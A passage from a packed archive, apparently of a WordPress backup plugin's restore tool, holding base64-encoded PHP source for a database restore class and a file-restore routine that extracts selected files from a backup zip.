ewoJCQkkaW5jb21pbmdWZXJzaW9uID0gJHRoaXMtPl9zdGF0ZVsnZGF0J11bJ2RiX3ZlcnNpb24nXTsKCQkJcGJfYmFja3VwYnVkZHk6OnN0YXR1cyggJ2RldGFpbHMnLCAnSW5jb21pbmcgbXlzcWwgdmVyc2lvbjogYCcgLiAkaW5jb21pbmdWZXJzaW9uIC4gJ2AuIFRoaXMgc2VydmVyXCdzIG15c3FsIHZlcnNpb246IGAnIC4gJHRoaXNWZXJzaW9uIC4gJ2AuJyApOwoJCQlpZiAoIHZlcnNpb25fY29tcGFyZSggJGluY29taW5nVmVyc2lvbiwgJzUuMS4wJywgJzwnICkgJiYgdmVyc2lvbl9jb21wYXJlKCAkdGhpc1ZlcnNpb24sICc1LjEuMCcsICc+PScgKSApIHsKCQkJCXBiX2JhY2t1cGJ1ZGR5OjpzdGF0dXMoICd3YXJuaW5nJywgJ0Vycm9yICM3MDAxOiBUaGlzIHNlcnZlclwncyBteXNxbCB2ZXJzaW9uLCBgJyAuICR0aGlzVmVyc2lvbiAuICdgIG1heSBoYXZlIFNRTCBxdWVyeSBpbmNvbXBhdGliaWxpdGllcyB3aXRoIHRoZSBiYWNrdXAgbXlzcWwgdmVyc2lvbiBgJyAuICRpbmNvbWluZ1ZlcnNpb24gLiAnYC4gVGhpcyBtYXkgcmVzdWx0IGluICM5MDEwIGVycm9ycyBkdWUgdG8gc3ludGF4IG9mIFRZUEU9IGNoYW5naW5nIHRvIEVOR0lORT0uIElmIG5vbmUgb2NjdXIgeW91IG1heSBpZ25vcmUgdGhpcyBlcnJvci4nICk7CgkJCX0KCQl9IGVsc2UgewoJCQlwYl9iYWNrdXBidWRkeTo6c3RhdHVzKCAnZGV0YWlscycsICdJbmNvbWluZyBteXNxbCB2ZXJzaW9uOiBgVW5rbm93bmAuIFRoaXMgc2VydmVyXCdzIG15c3FsIHZlcnNpb246IGAnIC4gJHRoaXNWZXJzaW9uIC4gJ2AuJyApOwoJCX0KCgkJJHRoaXMtPl9kYkNvbm5lY3RlZCA9IHRydWU7CgoJCXJldHVybiB0cnVlOwoJfSAvLyBFbmQgY29ubmVjdERhdGFiYXNlKCkuCgoKCglmdW5jdGlvbiBnZXRCbG9nUHVibGljU2V0dGluZygpIHsKCQkkdGhpcy0+X2JlZm9yZSggX19GVU5DVElPTl9fICk7CgkJaWYgKCB0cnVlICE9PSBzZWxmOjpjb25uZWN0RGF0YWJhc2UoKSApIHsKCQkJcmV0dXJuICcnOwoJCX0KCgkJcGJfYmFja3VwYnVkZHk6OnN0YXR1cyggJ2RldGFpbHMnLCAnQ2hlY2tpbmcgY3VycmVudCBibG9nX3B1YmxpYyBvcHRpb24gc2V0dGluZy4nICk7CgoJCWdsb2JhbCAkd3BkYjsKCgkJLy8gTkVXIHByZWZpeAoJCSRzcWwgPSAnU0VMRUNUIG9wdGlvbl92YWx1ZSBGUk9NIGAnIC4gJHRoaXMtPl9zdGF0ZVsnZGF0YWJhc2VTZXR0aW5ncyddWydwcmVmaXgnXSAuICJvcHRpb25zYCBXSEVSRSBvcHRpb25fbmFtZT0nYmxvZ19wdWJsaWMnOyI7CgkJJHJlc3VsdHMgPSAkd3BkYi0+Z2V0X3Jlc3VsdHMoICRzcWwsIEFSUkFZX0EgKTsKCQlwYl9iYWNrdXBidWRkeTo6c3RhdHVzKCAnZGV0YWlscycsICdGb3VuZCAnIC4gY291bnQoICRyZXN1bHRzICkgLiAnIHJlc3VsdHMgc2Vla2luZyBibG9nX3B1YmxpYyBvcHRpb24uJyApOwoKCQlyZXR1cm4gJHJlc3VsdHNbMF1bJ29wdGlvbl92YWx1ZSddOwoJfSAvLyBFbmQgZ2V0QmxvZ1B1YmxpY1NldHRpbmcoKS4KCgoKCS8vIHRydWUgb24gc3VjY2VzcywgZWxzZSBmYWxzZQoJZnVuY3Rpb24gc2V0QmxvZ1B1YmxpYyggJHNldHRpbmcgKSB7CgkJaWYgKCAnJyA9PT0gJHNldHRpbmcgKSB7IC8vIE5vIGNoYW5nZS4KCQkJcmV0dXJuIHRydWU7CgkJfQoKCQkkdGhpcy0+X2JlZm9yZSggX19GVU5DVElPTl9fICk7CgkJaWYgKCB0cnVlICE9PSBzZWxmOjpjb25uZWN0RGF0YWJhc2UoKSApIHsKCQkJcmV0dXJuIGZhbHNlOwoJCX0KCgkJaWYgKCB0cnVlID09PSAkc2V0dGluZyApIHsKCQkJJHNldHRpbmcgPSAnMSc7CgkJfSBlbHNlaWYgKCBmYWxzZSA9PT0gJHNldHRpbmcgKSB7CgkJCSRzZXR0aW5nID0gJzAnOwoJCX0gZWxzZSB7CgkJCXBiX2JhY2t1cGJ1ZGR5OjpzdGF0dXMoICdlcnJvcicsICdFcnJvciAjNDgzNzQ3MzQ6IFVuZXhwZWN0ZWQgaW52YWxpZCBzZXRCbG9nUHVibGljKCkgdmFsdWUgYCcgLiAkc2V0dGluZyAuICdgLicgKTsKCQkJcmV0dXJuIGZhbHNlOwoJCX0KCgkJcGJfYmFja3VwYnVkZHk6OnN0YXR1cyggJ2RldGFpbHMnLCAnU2V0dGluZyBuZXcgYmxvZ19wdWJsaWMgc2VhcmNoIGVuZ2luZSB2aXNpYmlsaXR5IHNldHRpbmcgdG8gYCcgLiAkc2V0dGluZyAuICdgLicgKTsKCgkJZ2xvYmFsICR3cGRiOwoKCQkvLyBORVcgcHJlZml4CgkJJHNxbCA9ICdVUERBVEUgYCcgLiAkdGhpcy0+X3N0YXRlWydkYXRhYmFzZVNldHRpbmdzJ11bJ3ByZWZpeCddIC4gIm9wdGlvbnNgIFNFVCBvcHRpb25fdmFsdWU9JyIgLiBiYWNrdXBidWRkeV9jb3JlOjpkYkVzY2FwZSggJHNldHRpbmcgKSAuICInIFdIRVJFIG9wdGlvbl9uYW1lPSdibG9nX3B1YmxpYycgTElNSVQgMTsiOwoJCSR3cGRiLT5xdWVyeSggJHNxbCApOwoJCXBiX2JhY2t1cGJ1ZGR5OjpzdGF0dXMoICdkZXRhaWxzJywgJ01vZGlmaWVkICcgLiAkd3BkYi0+cm93c19hZmZlY3RlZCAuICcgcm93KHMpIHdoaWxlIHVwZGF0aW5nIGJsb2dfcHVibGljLicgKTsKCQlpZiAoICEgZW1wdHkoICR3cGRiLT5sYXN0X2Vycm9yICkgKSB7CgkJCXBiX2JhY2t1cGJ1ZGR5OjpzdGF0dXMoICdlcnJvcicsICdteXNxbCBlcnJvcjogJyAuICR3cGRiLT5sYXN0X2Vycm9yICk7IH0KCgkJcmV0dXJuIHRydWU7Cgl9CgoKCgkvKiBfZXJyb3IoKQoJICoKCSAqIExvZ3MgZXJyb3IgbWVzc2FnZXMgZm9yIHJldHJpZXZhbCB3aXRoIGdldEVycm9ycygpLgoJICoKCSAqIEBwYXJhbQlzdHJpbmcJCSRtZXNzYWdlCUVycm9yIG1lc3NhZ2UgdG8gbG9nLgoJICogQHJldHVybgludWxsCgkgKi8KCXByaXZhdGUgZnVuY3Rpb24gX2Vycm9yKCAkbWVzc2FnZSApIHsKCQkkdGhpcy0+X2Vycm9yc1tdID0gJG1lc3NhZ2U7CgkJcGJfYmFja3VwYnVkZHk6OnN0YXR1cyggJ2Vycm9yJywgJG1lc3NhZ2UgKTsKCQlyZXR1cm4gZmFsc2U7Cgl9CgoKCgkvKiBnZXRFcnJvcnMoKQoJICoKCSAqIEdldCBhbnkgZXJyb3JzIHdoaWNoIG1heSBoYXZlIG9jY3VycmVkLgoJICoKCSAqIEByZXR1cm4JYXJyYXkgCQlSZXR1cm5zIGFuIGFycmF5IG9mIHN0cmluZyBlcnJvciBtZXNzYWdlcy4KCSAqLwoJcHVibGljIGZ1bmN0aW9uIGdldEVycm9ycygpIHsKCQlyZXR1cm4gJHRoaXMtPl9lcnJvcnM7Cgl9IC8vIEVuZCBnZXRFcnJvcnMoKTsKCgoKCS8qIGdldFN0YXRlKCkKCSAqCgkgKiBHZXQgc3RhdGUgYXJyYXkgZGF0YSBmb3IgcGFzc2luZyB0byB0aGUgY29uc3RydWN0b3IgZm9yIHN1YnNlcXVlbnQgY2FsbHMuCgkgKgoJICogQHJldHVybglhcnJheSAJCVJldHVybnMgYW4gYXJyYXkgb2Ygc3RhdGUgZGF0YS4KCSAqLwoJcHVibGljIGZ1bmN0aW9uIGdldFN0YXRlKCkgewoJCXBiX2JhY2t1cGJ1ZGR5OjpzdGF0dXMoICdkZXRhaWxzJywgJ0dldHRpbmcgcm9sbGJhY2sgc3RhdGUuJyApOwoJCXJldHVybiAkdGhpcy0+X3N0YXRlOwoJfSAvLyBFbmQgZ2V0U3RhdGUoKS4KCgoKCS8qIHNldFN0YXRlKCkKCSAqCgkgKiBSZXBsYWNlIGN1cnJlbnQgc3RhdGUgYXJyYXkgd2l0aCBwcm92aWRlZCBvbmUuCgkgKgoJICovCglwdWJsaWMgZnVuY3Rpb24gc2V0U3RhdGUoICRzdGF0ZURhdGEgKSB7CgkJJHRoaXMtPl9zdGF0ZSA9ICRzdGF0ZURhdGE7Cgl9IC8vIEVuZCBzZXRTdGF0ZSgpLgoKCgoJLyogX2JlZm9yZSgpCgkgKgoJICogUnVucyBiZWZvcmUgZXZlcnkgZnVuY3Rpb24gdG8ga2VlcCB0cmFjayBvZiByYW4gZnVuY3Rpb25zIGluIHRoZSBzdGF0ZSBkYXRhIGZvciBkZWJ1Z2dpbmcuCgkgKgoJICogQHJldHVybgludWxsCgkgKi8KCXByaXZhdGUgZnVuY3Rpb24gX2JlZm9yZSggJGZ1bmN0aW9uTmFtZSApIHsKCQkkdGhpcy0+X3N0YXRlWydzdGVwSGlzdG9yeSddW10gPSBhcnJheSgKCQkJJ2Z1bmN0aW9uJyA9PiAkZnVuY3Rpb25OYW1lLAoJCQknc3RhcnQnID0+IHRpbWUoKSwKCQkpOwoJCXBiX2JhY2t1cGJ1ZGR5OjpzdGF0dXMoICdkZXRhaWxzJywgJ1N0YXJ0aW5nIGZ1bmN0aW9uIGAnIC4gJGZ1bmN0aW9uTmFtZSAuICdgLicgKTsKCQlyZXR1cm47Cgl9IC8vIEVuZCBfYmVmb3JlKCkuCgoKCgkvKglzaHV0ZG93bl9mdW5jdGlvbigpCiAgICAgKgoJICoJVXNlZCBmb3IgY2F0Y2hpbmcgZmF0YWwgUEhQIGVycm9ycyBkdXJpbmcgYmFja3VwIHRvIHdyaXRlIHRvIGxvZyBmb3IgZGVidWdnaW5nLgogICAgICoKCSAqCUByZXR1cm4JCW51bGwKCSAqLwoJcHVibGljIGZ1bmN0aW9uIHNodXRkb3duX2Z1bmN0aW9uKCkgewoKCQkvLyBHZXQgZXJyb3IgbWVzc2FnZS4KCQkvLyBFcnJvciB0eXBlczogaHR0cDovL3BocC5uZXQvbWFudWFsL2VuL2Vycm9yZnVuYy5jb25zdGFudHMucGhwCgkJJGUgPSBlcnJvcl9nZXRfbGFzdCgpOwoJCWlmICggJGUgPT09IG51bGwgKSB7IC8vIE5vIGVycm9yIG9mIGFueSBraW5kLgoJCQlyZXR1cm47CgkJfSBlbHNlIHsgLy8gU29tZSB0eXBlIG9mIGVycm9yLgoJCQlpZiAoICEgaXNfYXJyYXkoICRlICkgfHwgKCAkZVsndHlwZSddICE9IEVfRVJST1IgKSAmJiAoICRlWyd0eXBlJ10gIT0gRV9VU0VSX0VSUk9SICkgKSB7IC8vIFJldHVybiBpZiBub3QgYSBmYXRhbCBlcnJvci4KCQkJCXJldHVybjsKCQkJfQoJCX0KCgkJJGVfc3RyaW5nID0gJyc7CgkJZm9yZWFjaCAoIChhcnJheSkgJGUgYXMgJGVfbGluZV90aXRsZSA9PiAkZV9saW5lICkgewoJCQkkZV9zdHJpbmcgLj0gJGVfbGluZV90aXRsZSAuICcgPT4gJyAuICRlX2xpbmUgLiAiXG4iOwoJCX0KCgkJcGJfYmFja3VwYnVkZHk6OnN0YXR1cyggJ2Vycm9yJywgJ0ZBVEFMIFBIUCBFUlJPUjogJyAuICRlX3N0cmluZyApOwoKCX0gLy8gRW5kIHNodXRkb3duX2Z1bmN0aW9uLgoKCgoJZnVuY3Rpb24gX2FycmF5X3JlcGxhY2VfcmVjdXJzaXZlKCAkYXJyYXksICRhcnJheTEgKSB7CgkJZnVuY3Rpb24gYmJfcmVjdXJzZSggJGFycmF5LCAkYXJyYXkxICkgewoJCQlmb3JlYWNoICggJGFycmF5MSBhcyAka2V5ID0+ICR2YWx1ZSApIHsKCQkJCS8vIGNyZWF0ZSBuZXcga2V5IGluICRhcnJheSwgaWYgaXQgaXMgZW1wdHkgb3Igbm90IGFuIGFycmF5CgkJCQlpZiAoICEgaXNzZXQoICRhcnJheVsgJGtleSBdICkgfHwgKGlzc2V0KCAkYXJyYXlbICRrZXkgXSApICYmICEgaXNfYXJyYXkoICRhcnJheVsgJGtleSBdICkpICkgewoJCQkJCSRhcnJheVsgJGtleSBdID0gYXJyYXkoKTsKCQkJCX0KCgkJCQkvLyBvdmVyd3JpdGUgdGhlIHZhbHVlIGluIHRoZSBiYXNlIGFycmF5CgkJCQlpZiAoIGlzX2FycmF5KCAkdmFsdWUgKSApIHsKCQkJCQkkdmFsdWUgPSBiYl9yZWN1cnNlKCAkYXJyYXlbICRrZXkgXSwgJHZhbHVlICk7CgkJCQl9CgkJCQkkYXJyYXlbICRrZXkgXSA9ICR2YWx1ZTsKCQkJfQoJCQlyZXR1cm4gJGFycmF5OwoJCX0KCgkJLy8gaGFuZGxlIHRoZSBhcmd1bWVudHMsIG1lcmdlIG9uZSBieSBvbmUKCQkkYXJncyA9IGZ1bmNfZ2V0X2FyZ3MoKTsKCQkkYXJyYXkgPSAkYXJnc1swXTsKCQlpZiAoICEgaXNfYXJyYXkoICRhcnJheSApICkgewoJCQlyZXR1cm4gJGFycmF5OwoJCX0KCQlmb3IgKCAkaSA9IDE7ICRpIDwgY291bnQoICRhcmdzICk7ICRpKysgKSB7CgkJCWlmICggaXNfYXJyYXkoICRhcmdzWyAkaSBdICkgKSB7CgkJCQkkYXJyYXkgPSBiYl9yZWN1cnNlKCAkYXJyYXksICRhcmdzWyAkaSBdICk7CgkJCX0KCQl9CgkJcmV0dXJuICRhcnJheTsKCX0KCgoKfSAvLyBlbmQgY2xhc3MuCg==
###PACKDATA,FILE_END,/classes/restore.php,importbuddy/classes/restore.php
###PACKDATA,FILE_START,/classes/_restoreFiles.php,importbuddy/classes/_restoreFiles.php
PD9waHAKY2xhc3MgYmFja3VwYnVkZHlfcmVzdG9yZV9maWxlcyB7CgoJLyogcmVzdG9yZSgpCgkgKgoJICogUmVzdG9yZSBvbmUgb3IgbW9yZSBmaWxlcyB0byBhIHBhdGguCgkgKgoJICogQHBhcmFtCSRhcmNoaXZlX2ZpbGUJQmFja3VwIHppcCBhcmNoaXZlIGZpbGUgdG8gcmVzdG9yZSBmaWxlcyBmcm9tLgoJICogQHBhcmFtCSRmaWxlcwkJCUFycmF5IG9mIGZpbGVzIHRvIHJlc3RvcmUuIEVhY2gga2V5IGFuZCB2YWx1ZSBtdXN0IGJlIHRoZSBzYW1lLiBGb3JtYXQ6IGFycmF5KCAnZmlsZW5hbWUudHh0JyA9PiAnZmlsZW5hbWUudHh0JyApOwoJICogQHBhcmFtCSRmaW5hbFBhdGgJCURlc3RpbmF0aW9uIHBhdGggdG8gZXh0cmFjdCBpbnRvLgoJICogQHJldHVybglib29sCQkJVHJ1ZSBvbiBzdWNjZXNzLCBlbHNlIGZhbHNlLgoJICoKCSAqLwoJcHVibGljIHN0YXRpYyBmdW5jdGlvbiByZXN0b3JlKCAkYXJjaGl2ZV9maWxlLCAkZmlsZXMsICRmaW5hbFBhdGgsICYkemlwYnVkZHkgPSBudWxsICkgewoJCWlmICggISBwYl9pc19zdGFuZGFsb25lKCkgKSB7CgkJCWlmICggISBjdXJyZW50X3VzZXJfY2FuKCBwYl9iYWNrdXBidWRkeTo6JG9wdGlvbnNbJ3JvbGVfYWNjZXNzJ10gKSApIHsKCQkJCWRpZSggJ0Vycm9yICM0NzM2MjMuIEFjY2VzcyBEZW5pZWQuJyApOwoJCQl9CgkJfQoKCQkkc2VyaWFsID0gYmFja3VwYnVkZHlfY29yZTo6Z2V0X3NlcmlhbF9mcm9tX2ZpbGUoICRhcmNoaXZlX2ZpbGUgKTsgLy8gc2VyaWFsIG9mIGFyY2hpdmUuCgkJJHN1Y2Nlc3MgPSBmYWxzZTsKCgkJZm9yZWFjaCggJGZpbGVzIGFzICRmaWxlICkgewoJCQkkZmlsZSA9IHN0cl9yZXBsYWNlKCAnKicsICcnLCAkZmlsZSApOyAvLyBSZW1vdmUgYW55IHdpbGRjYXJkLgoJCQlpZiAoIGZpbGVfZXhpc3RzKCAkZmluYWxQYXRoIC4gJGZpbGUgKSAmJiBpc19kaXIoICRmaW5hbFBhdGggLiAkZmlsZSApICkgewoJCQkJaWYgKCAoICRmaWxlX2NvdW50ID0gQHNjYW5kaXIoICRmaW5hbFBhdGggLiAkZmlsZSApICkgJiYgKCBjb3VudCggJGZpbGVfY291bnQgKSA+IDIgKSApIHsKCQkJCQlwYl9iYWNrdXBidWRkeTo6c3RhdHVzKCAnZXJyb3InLCBfXyggJ0Vycm9yICM5MDM2LiBUaGUgZGVzdGluYXRpb24gZGlyZWN0b3J5IGJlaW5nIHJlc3RvcmVkIGFscmVhZHkgZXhpc3RzIGFuZCBpcyBOT1QgZW1wdHkuIFRoZSBkaXJlY3Rvcnkgd2lsbCBub3QgYmUgcmVzdG9yZWQgdG8gcHJldmVudCBpbmFkdmVydGVudGx5IGxvc2luZyBmaWxlcyB3aXRoaW4gdGhlIGV4aXN0aW5nIGRpcmVjdG9yeS4gRGVsZXRlIGV4aXN0aW5nIGRpcmVjdG9yeSBmaXJzdCBpZiB5b3Ugd2lzaCB0byBwcm9jZWVkIG9yIHJlc3RvcmUgaW5kaXZpZHVhbCBmaWxlcy4nLCAnaXQtbDEwbi1iYWNrdXBidWRkeScgKSAuICcgRXhpc3RpbmcgZGlyZWN0b3J5OiBgJyAuICRmaW5hbFBhdGggLiAkZmlsZSAuICdgLicgKTsKCQkJCQlyZXR1cm4gZmFsc2U7CgkJCQl9CgkJCX0KCQl9CgoKCQlpZiAoIG51bGwgPT09ICR6aXBidWRkeSApIHsKCQkJcmVxdWlyZV9vbmNlKCBwYl9iYWNrdXBidWRkeTo6cGx1Z2luX3BhdGgoKSAuICcvbGliL3ppcGJ1ZGR5L3ppcGJ1ZGR5LnBocCcgKTsKCQkJJHppcGJ1ZGR5ID0gbmV3IHBsdWdpbmJ1ZGR5X3ppcGJ1ZGR5KCBiYWNrdXBidWRkeV9jb3JlOjpnZXRCYWNrdXBEaXJlY3RvcnkoKSApOwoJCX0KCgoJCS8vIENhbGN1bGF0ZSB0ZW1wIGRpcmVjdG9yeSAmIGxvY2sgaXQgZG93bi4KCQkkdGVtcF9kaXIgPSBnZXRfdGVtcF9kaXIoKTsKCQkkZGVzdGluYXRpb24gPSAkdGVtcF9kaXIgLiAnYmFja3VwYnVkZHktJyAuICRzZXJpYWw7CgkJaWYgKCAoICggISBmaWxlX2V4aXN0cyggJGRlc3RpbmF0aW9uICkgKSAmJiAoIGZhbHNlID09PSBta2RpciggJGRlc3RpbmF0aW9uLCAwNzc3LCB0cnVlICkgKSApICkgewoJCQkkZXJyb3IgPSAnRXJyb3IgIzQ1ODQ4NTk0NTogVW5hYmxlIHRvIGNyZWF0ZSB0ZW1wb3JhcnkgbG9jYXRpb24gYCcgLiAkZGVzdGluYXRpb24gLiAnYC4gQ2hlY2sgcGVybWlzc2lvbnMuJzsKCQkJcGJfYmFja3VwYnVkZHk6OnN0YXR1cyggJ2Vycm9yJywgJGVycm9yICk7CgkJCXJldHVybiBmYWxzZTsKCQl9CgoKCQkvLyBJZiB0ZW1wIGRpcmVjdG9yeSBpcyB3aXRoaW4gd2Vicm9vdCB0aGVuIGxvY2sgaXQgZG93bi4KCQkkdGVtcF9kaXIgPSBzdHJfcmVwbGFjZSggJ1xcJywgJy8nLCAkdGVtcF9kaXIgKTsgLy8gTm9ybWFsaXplIGZvciBXaW5kb3dzLgoJCSR0ZW1wX2RpciA9IHJ0cmltKCAkdGVtcF9kaXIsICcvXFwnICkgLiAnLyc7IC8vIEVuZm9yY2Ugc2luZ2xlIHRyYWlsaW5nIHNsYXNoLgoJCWlmICggRkFMU0UgIT09IHN0cmlzdHIoICR0ZW1wX2RpciwgQUJTUEFUSCApICkgeyAvLyBUZW1wIGRpciBpcyB3aXRoaW4gd2Vicm9vdC4KCQkJcGJfYmFja3VwYnVkZHk6OmFudGlfZGlyZWN0b3J5X2Jyb3dzaW5nKCAkZGVzdGluYXRpb24gKTsKCQl9CgkJdW5zZXQoICR0ZW1wX2RpciApOwoJCXBiX2JhY2t1cGJ1ZGR5OjpzdGF0dXMoICdkZXRhaWxzJywgJ0V4dHJhY3RpbmcgaW50byB0ZW1wb3JhcnkgZGlyZWN0b3J5ICInIC4gJGRlc3RpbmF0aW9uIC4gJyIuJyApOwoKCQkkcHJldHR5RmlsZXNMaXN0ID0gYXJyYXkoKTsKCQlmb3JlYWNoKCAkZmlsZXMgYXMgJGZpbGVTb3VyY2UgPT4gJGZpbGVEZXN0aW5hdGlvbiApIHsKCQkJJHByZXR0eUZpbGVzTGlzdFtdID0gJGZpbGVTb3VyY2UgLiAnID0+ICcgLiAkZmlsZURlc3RpbmF0aW9uOwoJCX0KCQlwYl9iYWNrdXBidWRkeTo6c3RhdHVzKCAnZGV0YWlscycsICdGaWxlcyB0byBleHRyYWN0OiBgJyAuIGh0bWxlbnRpdGllcyggaW1wbG9kZSggJywgJywgJHByZXR0eUZpbGVzTGlzdCApICkgLiAnYC4nICk7CgkJdW5zZXQoICRwcmV0dHlGaWxlc0xpc3QgKTsKCgkJcGJfYmFja3VwYnVkZHk6OmZsdXNoKCk7CgoJCS8vIERvIHRoZSBhY3R1YWwgZXh0cmFjdGlvbi4KCQkkZXh0cmFjdF9zdWNjZXNzID0gdHJ1ZTsKCQlpZiAoIGZhbHNlID09PSAkemlwYnVkZHktPmV4dHJhY3QoICRhcmNoaXZlX2ZpbGUsICRkZXN0aW5hdGlvbiwgJGZpbGVzICkgKSB7CgkJCXBiX2JhY2t1cGJ1ZGR5OjpzdGF0dXMoICdlcnJvcicsICdFcnJvciAjNTg0OTg0NDU4Yi4gVW5hYmxlIHRvIGV4dHJhY3QuJyApOwoJCQkkZXh0cmFjdF9zdWNjZXNzID0gZmFsc2U7CgkJfQoKCQlpZiAoIHRydWUgPT09ICRleHRyYWN0X3N1Y2Nlc3MgKSB7CgoJCQkvLyBWZXJpZnkgYWxsIGZpbGVzL2RpcmVjdG9yaWVzIHRvIGJlIGV4dHJhY3RlZCBleGlzdCBpbiB0ZW1wIGRlc3RpbmF0aW9uIGRpcmVjdG9yeS4gSWYgYW55IG1pc3NpbmcgdGhlbiBkZWxldGUgZXZlcnl0aGluZyBhbmQgYmFpbCBvdXQuCgkJCWZvcmVhY2goICRmaWxlcyBhcyAmJGZpbGUgKSB7CgkJCQkkZmlsZSA9IHN0cl9yZXBsYWNlKCAnKicsICcnLCAkZmlsZSApOyAvLyBSZW1vdmUgYW55IHdpbGRjYXJkLgoJCQkJaWYgKCAhIGZpbGVfZXhpc3RzKCAkZGVzdGluYXRpb24gLiAnLycgLiAkZmlsZSApICkgewoJCQkJCS8vIENsZWFudXAuCgkJCQkJZm9yZWFjaCggJGZpbGVzIGFzICRmaWxlICkgewoJCQkJCQlAdHJpZ2dlcl9lcnJvciggJycgKTsgLy8gQ2xlYXIgb3V0IGxhc3QgZXJyb3IuCgkJCQkJCUB1bmxpbmsoICRkZXN0aW5hdGlvbiAuICcvJyAuICRmaWxlKTsKCQkJCQkJJGxhc3RfZXJyb3IgPSBlcnJvcl9nZXRfbGFzdCgpOwoJCQkJCQlpZiAoIGlzX2FycmF5KCAkbGFzdF9lcnJvciApICkgewoJCQkJCQkJcGJfYmFja3VwYnVkZHk6OnN0YXR1cyggJ2Vycm9yJywgJGxhc3RfZXJyb3JbJ21lc3NhZ2UnXSAuICcgRmlsZTogYCcgLiAkbGFzdF9lcnJvclsnZmlsZSddIC4gJ2AuIExpbmU6IGAnIC4gJGxhc3RfZXJyb3JbJ2xpbmUnXSAuICdgLicgKTsKCQkJCQkJfQoJCQkJCX0KCQkJCQlwYl9iYWNrdXBidWRkeTo6c3RhdHVzKCAnZXJyb3InLCAnRXJyb3IgIzg1NDc4MzQ3NC4gT25lIG9yIG1vcmUgZXhwZWN0ZWQgZmlsZXMgLyBkaXJlY3RvcmllcyBtaXNzaW5nLicgKTsKCgkJCQkJJGV4dHJhY3Rfc3VjY2VzcyA9IGZhbHNlOwoJCQkJCWJyZWFrOwoJCQkJfQoJCQl9CgkJCXVuc2V0KCAkZmlsZSApOwoKCQkJLy8gTWFkZSBpdCB0aGlzIGZhciBzbyBmaWxlcyBhbGwgZXhpc3QuIE1vdmUgdGhlbSBhbGwuCgkJCWZvcmVhY2goICRmaWxlcyBhcyAkZmlsZSApIHsKCQkJCUB0cmlnZ2VyX2Vycm9yKCAnJyApOyAvLyBDbGVhciBvdXQgbGFzdCBlcnJvci4KCQkJCWlmICggZmFsc2UgPT09IHBiX2JhY2t1cGJ1ZGR5OjokZmlsZXN5c3RlbS0+cmVjdXJzaXZlX2NvcHkoICRkZXN0aW5hdGlvbiAuICcvJyAuICRmaWxlLCAkZmluYWxQYXRoIC4gJGZpbGUgKSApIHsKCQkJCQkkbGFzdF9lcnJvciA9IGVycm9yX2dldF9sYXN0KCk7CgkJCQkJaWYgKCBpc19hcnJheSggJGxhc3RfZXJyb3IgKSApIHsKCQkJCQkJLy9wcmludF9yKCAkbGFzdF9lcnJvciApOwoJCQkJCQlwYl9iYWNrdXBidWRkeTo6c3RhdHVzKCAnZXJyb3InLCAkbGFzdF9lcnJvclsnbWVzc2FnZSddIC4gJyBGaWxlOiBgJyAuICRsYXN0X2Vycm9yWydmaWxlJ10gLiAnYC4gTGluZTogYCcgLiAkbGFzdF9lcnJvclsnbGluZSddIC4gJ2AuJyApOwoJCQkJCX0KCQkJCQkkZXJyb3IgPSAnRXJyb3IgIzkwMzUuIFVuYWJsZSB0byBjb3B5cmVzdG9yZWQgZmlsZSBgJyAuICRkZXN0aW5hdGlvbiAuICcvJyAuICRmaWxlIC4gJ2AgdG8gYCcgLiAkZmluYWxQYXRoIC4gJGZpbGUgLiAnYC4gVmVyaWZ5IHBlcm1pc3Npb25zIG9uIGRlc3RpbmF0aW9uIGxvY2F0aW9uICYgdGhhdCB0aGUgZGVzdGluYXRpb24gZGlyZWN0b3J5L2ZpbGUgZG9lcyBub3QgYWxyZWFkeSBleGlzdC4nOwoJCQkJCXBiX2JhY2t1cGJ1ZGR5OjpzdGF0dXMoICdlcnJvcicsICRlcnJvciApOwoJCQkJfSBlbHNlIHsKCQkJCQkkZGV0YWlscyA9ICdSZWN1cnNpdmVseSBtb3ZlZCBgJyAuICRkZXN0aW5hdGlvbiAuICcvJyAuICRmaWxlIC4gJ2AgdG8gYCcgLiAkZmluYWxQYXRoIC4gJGZpbGUgLiAnYC48YnI+JzsKCQkJCQlwYl9iYWNrdXBidWRkeTo6c3RhdHVzKCAnZGV0YWlscycsICRkZXRhaWxzICk7CgkJCQkJJHN1Y2Nlc3MgPSB0cnVlOwoJCQkJfQoJCQl9CgoJCX0gLy8gZW5kIGV4dHJhY3Qgc3VjY2Vzcy4KCgoJCS8vIFRyeSB0byBjbGVhbnVwLgoJCWlmICggZmlsZV9leGlzdHMoICRkZXN0aW5hdGlvbiApICkgewoJCQlpZiAoIGZhbHNlID09PSBwYl9iYWNrdXBidWRkeTo6JGZpbGVzeXN0ZW0tPnVubGlua19yZWN1cnNpdmUoICRkZXN0aW5hdGlvbiApICkgewoJCQkJcGJfYmFja3VwYnVkZHk6OnN0YXR1cyggJ2RldGFpbHMnLCAnVW5hYmxlIHRvIGRlbGV0ZSB0ZW1wb3JhcnkgaG9sZGluZyBkaXJlY3RvcnkgYCcgLiAkZGVzdGluYXRpb24gLiAnYC4nICk7CgkJCX0gZWxzZSB7CgkJCQlwYl9iYWNrdXBidWRkeTo6c3RhdHVzKCAnZGV0YWlscycsICdDbGVhbmVkIHVwIHRlbXBvcmFyeSBmaWxlcy4nICk7CgkJCX0KCQl9CgoKCQlpZiAoIHRydWUgPT09ICRzdWNjZXNzICkgewoJCQlwYl9iYWNrdXBidWRkeTo6c3RhdHVzKCAnbWVzc2FnZScsICdGaWxlIHJldHJpZXZhbCBjb21wbGV0ZWQgc3VjY2Vzc2Z1bGx5LicgKTsKCQkJcmV0dXJuIHRydWU7CgkJfSBlbHNlIHsKCQkJcmV0dXJuIGZhbHNlOwoJCX0KCgl9IC8vIEVuZCBmdW5jdGlvbiByZXN0b3JlKCkuCgp9IC8vIEVuZCBjbGFzcy4=
###PACKDATA,FILE_END,/classes/_restoreFiles.php,importbuddy/classes/_restoreFiles.php
###PACKDATA,FILE_START,/classes/remote_api.php,importbuddy/classes/remote_api.php
